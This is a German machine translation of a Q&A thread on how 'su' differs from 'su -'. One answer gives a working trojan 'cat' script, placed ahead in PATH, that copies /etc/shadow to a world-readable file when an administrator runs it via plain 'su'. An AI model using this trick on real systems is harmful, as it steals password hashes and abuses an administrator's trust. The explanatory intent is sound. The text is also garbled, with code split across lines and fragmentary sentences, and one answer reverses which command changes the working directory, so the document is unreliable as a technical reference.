Antworten:
su -
ruft nach dem Benutzerwechsel eine Login-Shell auf. Eine Login-Shell setzt die meisten Umgebungsvariablen zurück und bietet eine saubere Basis.
su
Wechselt einfach den Benutzer und stellt eine normale Shell mit einer Umgebung zur Verfügung, die fast der des alten Benutzers entspricht.
Stellen Sie sich vor, Sie sind ein Softwareentwickler mit normalem Benutzerzugriff auf einen Computer und Ihr ignoranter Administrator gewährt Ihnen keinen Root-Zugriff. Lass ihn (hoffentlich) austricksen.
$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0
$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"
Jetzt fragst du deinen Administrator, warum du cat
die Dummy-Datei in deinem Home-Ordner nicht finden kannst, sie wird einfach nicht funktionieren!
$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!
Wenn Ihr Administrator nicht so schlau oder nur ein bisschen faul ist, kommt er möglicherweise an Ihren Schreibtisch und versucht es mit seinen Super-User-Kräften:
$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit
Beeindruckend! Danke, super Admin!
$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy
Er, er.
Möglicherweise haben Sie bemerkt, dass die beschädigte $PATH
Variable nicht zurückgesetzt wurde. Dies wäre nicht geschehen, wenn der Administrator su -
stattdessen aufgerufen hätte.
umask
Zahl wie 000 einzustellen, da dies sonst nicht funktioniert.
su
Datei in den PATH legen . Es ist nicht so schwer, das Verhalten des Realen nachzuahmen su
. Der Superuser war sowieso nachlässig :-)
su --
ist NICHT das Gleiche wie su -
: --
Weist einen getopt (s) (oder ähnlichen) Optionshandler an, die Verarbeitung der Befehlszeile für weitere Optionen zu beenden (nützlich, wenn der Rest z. B. Dateinamen enthält, die mit einem '-' beginnen könnten). Das heißt, in „rm -i - -f“: -f dann als reguläres Argument behandelt wird, so hier als Name der Datei zu rm -i
, und nicht als zusaetzliche -f
Option auf den rm
Befehl. So su --
ist es einfach su
und nicht su -
! So su --
wäre als unsicher auf das (lustig und lehrreich ) Beispiel Givan von wag. Verwenden Sie su -
.
su -
Meldet Sie vollständig als root an, su
wodurch Sie so tun, als wären Sie root.
Das naheliegendste Beispiel hierfür ist das ~
Basisverzeichnis von root, wenn Sie es verwenden su -
, und Ihr eigenes Basisverzeichnis, wenn Sie es verwenden su
.
Abhängig von Ihrem System kann dies auch zu Unterschieden bei Eingabeaufforderung PATH
oder Verlaufsdatei führen.
Wenn Sie also Teil eines Teams sind, das ein System verwaltet, und Ihr Kollege Ihnen einen Befehl zum Ausführen gibt, wissen Sie, dass er bei Verwendung beider Systeme gleich funktioniert. Wenn Sie jedoch beide Systeme su -
verwenden su
, kann dies zu Unterschieden führen verschiedene Shell-Konfigurationen.
Wenn Sie andererseits einen Befehl als root ausführen möchten, aber Ihre eigene Konfiguration verwenden möchten, ist dies möglicherweise su
besser für Sie.
Vergiss auch nicht sudo
, dass es eine -s
Option gibt, eine Shell zu starten, die als root ausgeführt wird. Dies hat natürlich auch andere Regeln, die sich je nach verwendeter Distribution ändern.
.bashrc
oder /etc/bashrc
oder /etc/profile.d
Skripte werden eingestellt PATH
. Suchen Sie nach if [ $UID -eq 0 ]
oder so ähnlich.
$USER
zum Beispiel bleibt unverändert.
sudo su
?
Ich benutze su - wenn ich als normaler Benutzer in einem Verzeichnis bin, aber zum Stammverzeichnis wechseln und nach dem Wechsel im selben Verzeichnis bleiben möchte. Wenn Sie su verwenden, wechselt der Benutzer zu root und Sie gelangen auch zu / root, dem Stammverzeichnis.
/
oder was auch immer als Stammverzeichnis definiert ist
Der Hauptunterschied ist:
su - username
Richtet die Shell-Umgebung so ein, als wäre sie eine saubere Anmeldung als angegebener Benutzer. Sie greift auf die Umgebungsvariablen der angegebenen Benutzer zu und verwendet diese.
su username
Startet einfach eine Shell mit den aktuellen Umgebungseinstellungen für den angegebenen Benutzer.
Wenn der Benutzername nicht mit su
und angegeben su -
wird, wird standardmäßig das Root-Konto verwendet.
su --
ist das gleiche wiesu
.